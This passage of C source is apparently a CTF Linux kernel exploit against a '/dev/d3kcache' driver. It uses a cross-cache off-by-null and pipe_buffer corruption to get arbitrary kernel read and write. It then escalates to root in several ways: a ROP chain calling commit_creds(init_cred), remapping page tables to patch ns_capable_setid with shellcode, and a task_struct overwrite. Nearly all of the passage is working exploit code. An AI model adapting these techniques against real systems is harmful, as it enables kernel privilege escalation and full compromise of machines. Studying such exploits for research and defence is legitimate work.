    pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
    pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pte_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
    pte_val = (buf[PTE_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);

    return pte_val;
}

size_t vaddr_resolve_for_3_level(size_t pgd_addr, size_t vaddr)
{
    size_t buf[0x1000];
    size_t pud_addr, pmd_addr;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
    pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
    pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
    return (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
}

void vaddr_remapping(size_t pgd_addr, size_t vaddr, size_t paddr)
{
    size_t buf[0x1000];
    size_t pud_addr, pmd_addr, pte_addr;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pgd_addr), buf);
    pud_addr = (buf[PGD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pud_addr), buf);
    pmd_addr = (buf[PUD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pmd_addr), buf);
    pte_addr = (buf[PMD_ENTRY(vaddr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pte_addr += page_offset_base;

    arbitrary_read_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf);
    buf[PTE_ENTRY(vaddr)] = paddr | 0x8000000000000867; /* mark it writable */
    arbitrary_write_by_pipe((void*) direct_map_addr_to_page_addr(pte_addr), buf,
                            0xff0);
}

void pgd_vaddr_resolve(void)
{
    puts("[*] Reading current task_struct...");

    /* read current task_struct */
    current_task_page = direct_map_addr_to_page_addr(current_task);
    arbitrary_read_by_pipe((struct page*) current_task_page, buf);
    arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

    tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
    stack_addr = tsk_buf[4];
    mm_struct_addr = tsk_buf[292];

    printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n",stack_addr);
    printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n",mm_struct_addr);

    mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);

    printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n",mm_struct_page);

    /* read mm_struct */
    arbitrary_read_by_pipe((struct page*) mm_struct_page, buf);
    arbitrary_read_by_pipe((struct page*) (mm_struct_page+0x40), &buf[512]);

    mm_struct_buf = (size_t*) ((size_t) buf + (mm_struct_addr & 0xfff));

    /* only this is a virtual addr, others in page table are all physical addr*/
    pgd_addr = mm_struct_buf[9];

    printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m"
           "0x%lx\n\n", pgd_addr);
}

/**
 * It may also be okay to write ROP chain on pipe_write's stack, if there's
 * no CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT(it can also be bypass by RETs). 
 * But what I want is a more novel and general exploitation that 
 * doesn't need any information about the kernel image. 
 * So just simply overwrite the task_struct is good :)
 * 
 * If you still want a normal ROP, refer to following codes.
*/

#define COMMIT_CREDS 0xffffffff811284e0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff82201a90
#define INIT_CRED 0xffffffff83079ee8
#define POP_RDI_RET 0xffffffff810157a9
#define RET 0xffffffff810157aa

void privilege_escalation_by_rop(void)
{
    size_t rop[0x1000], idx = 0; 

redo:

    /* resolving some vaddr */
    pgd_vaddr_resolve();
    
    /* reading the page table directly to get physical addr of kernel stack*/
    puts("[*] Reading page table...");

    stack_addr_another = vaddr_resolve(pgd_addr, stack_addr);
    stack_addr_another &= (~PAGE_ATTR_NX); /* N/X bit */
    stack_addr_another += page_offset_base;

    printf("\033[32m\033[1m[+] Got another virt addr of kernel stack: \033[0m"
           "0x%lx\n\n", stack_addr_another);

    /* construct the ROP */
    for (int i = 0; i < ((0x1000 - 0x100) / 8); i++) {
        rop[idx++] = RET + kernel_offset;
    }

    rop[idx++] = POP_RDI_RET + kernel_offset;
    rop[idx++] = INIT_CRED + kernel_offset;
    rop[idx++] = COMMIT_CREDS + kernel_offset;
    rop[idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE +54 + kernel_offset;
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = (size_t) get_root_shell;
    rop[idx++] = user_cs;
    rop[idx++] = user_rflags;
    rop[idx++] = user_sp;
    rop[idx++] = user_ss;

    stack_page = direct_map_addr_to_page_addr(stack_addr_another);

    puts("[*] Hijacking current task's stack...");

    sleep(5);

    arbitrary_write_by_pipe((struct page*) (stack_page + 0x40 * 3), rop, 0xff0);

    /* if we get there, it means that our work failed, just retry... */
    goto redo;
}

void privilege_escalation_by_usma(void)
{
    #define NS_CAPABLE_SETID 0xffffffff810fd2a0

    char *kcode_map, *kcode_func;
    size_t dst_paddr, dst_vaddr, *rop, idx = 0;

    /* resolving some vaddr */
    pgd_vaddr_resolve();

    kcode_map = mmap((void*) 0x114514000, 0x2000, PROT_READ | PROT_WRITE, 
                     MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (!kcode_map) {
        err_exit("FAILED to create mmap area!");
    }

    /* because of lazy allocation, we need to write it manually */
    for (int i = 0; i < 8; i++) {
        kcode_map[i] = "arttnba3"[i];
        kcode_map[i + 0x1000] = "arttnba3"[i];
    }

    /* overwrite kernel code seg to exec shellcode directly :) */
    dst_vaddr = NS_CAPABLE_SETID + kernel_offset;
    printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n",
           dst_vaddr);

    dst_paddr = vaddr_resolve_for_3_level(pgd_addr, dst_vaddr);
    dst_paddr += 0x1000 * PTE_ENTRY(dst_vaddr);

    printf("\033[32m\033[1m[+] Got ns_capable_setid's phys addr: \033[0m"
           "0x%lx\n\n", dst_paddr);

    /* remapping to our mmap area */
    vaddr_remapping(pgd_addr, 0x114514000, dst_paddr);
    vaddr_remapping(pgd_addr, 0x114514000 + 0x1000, dst_paddr + 0x1000);

    /* overwrite kernel code segment directly */

    puts("[*] Start overwriting kernel code segment...");

    /**
     * The setresuid() check for user's permission by ns_capable_setid(),
     * so we can just patch it to let it always return true :)
     */
    memset(kcode_map + (NS_CAPABLE_SETID & 0xfff), '\x90', 0x40); /* nop */
    memcpy(kcode_map + (NS_CAPABLE_SETID & 0xfff) + 0x40, 
            "\xf3\x0f\x1e\xfa"  /* endbr64 */
            "H\xc7\xc0\x01\x00\x00\x00"  /* mov rax, 1 */
            "\xc3", /* ret */
            12);

    /* get root now :) */
    puts("[*] trigger evil ns_capable_setid() in setresuid()...\n");

    sleep(5);

    setresuid(0, 0, 0);
    get_root_shell();
}

/**
 * Just for testing CFI's availability :)
*/
void trigger_control_flow_integrity_detection(void)
{
    size_t buf[0x1000];
    struct pipe_buffer *pbuf = (void*) ((size_t)buf + TRD_PIPE_BUF_SZ);
    struct pipe_buf_operations *ops, *ops_addr;

    ops_addr = (struct pipe_buf_operations*) 
                 (((size_t) info_pipe_buf.page - vmemmap_base) / 0x40 * 0x1000);
    ops_addr = (struct pipe_buf_operations*)((size_t)ops_addr+page_offset_base);

    /* two random gadget :) */
    ops = (struct pipe_buf_operations*) buf;
    ops->confirm = (void*)(0xffffffff81a78568 + kernel_offset);
    ops->release = (void*)(0xffffffff816196e6 + kernel_offset);

    for (int i = 0; i < 10; i++) {
        pbuf->ops = ops_addr;
        pbuf = (struct pipe_buffer *)((size_t) pbuf + TRD_PIPE_BUF_SZ);
    }

    evil_2nd_buf.page = info_pipe_buf.page;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1],&evil_4th_buf,sizeof(evil_4th_buf));

    /* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1],&evil_2nd_buf,sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));
        
    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1],&evil_3rd_buf,sizeof(evil_3rd_buf));

    /* write data into dst page */
    write(pipe_fd[self_2nd_pipe_pid][1], buf, 0xf00); 

    /* trigger CFI... */
    puts("[=] triggering CFI's detection...\n");
    sleep(5);
    close(pipe_fd[self_2nd_pipe_pid][0]);
    close(pipe_fd[self_2nd_pipe_pid][1]);
}

int main(int argc, char **argv, char **envp)
{
    /**
     * Step.O - fundamental works
     */

    save_status();

    /* bind core to 0 */
    bind_core(0);

    /* dev file */
    dev_fd = open("/dev/d3kcache", O_RDWR);
    if (dev_fd < 0) {
        err_exit("FAILED to open /dev/d3kcache!");
    }

    /* spray pgv pages */
    prepare_pgv_system();
    prepare_pgv_pages();

    /**
     * Step.I - page-level heap fengshui to make a cross-cache off-by-null,
     * making two pipe_buffer pointing to the same pages
     */
    corrupting_first_level_pipe_for_page_uaf();

    /**
     * Step.II - re-allocate the victim page to pipe_buffer,
     * leak page-related address and construct a second-level pipe uaf
     */
    corrupting_second_level_pipe_for_pipe_uaf();

    /**
     * Step.III - re-allocate the second-level victim page to pipe_buffer,
     * construct three self-page-pointing pipe_buffer 
     */
    building_self_writing_pipe();

    /**
     * Step.IV - leaking fundamental information by pipe
     */
    info_leaking_by_arbitrary_pipe();

    /**
     * Step.V - different method of exploitation
     */

    if (argv[1] && !strcmp(argv[1], "rop")) {
        /* traditionally root by rop */
        privilege_escalation_by_rop();
    } else if (argv[1] && !strcmp(argv[1], "cfi")) {
        /* extra - check for CFI's availability */
        trigger_control_flow_integrity_detection();
    } else if (argv[1] && !strcmp(argv[1], "usma")) {
        privilege_escalation_by_usma();
    }else {
        /* default: root by seeking init_task and overwrite current */
        privilege_escalation_by_task_overwrite();
    }

    /* we SHOULDN'T get there, so panic :( */
    trigger_control_flow_integrity_detection();
    
    return 0;
}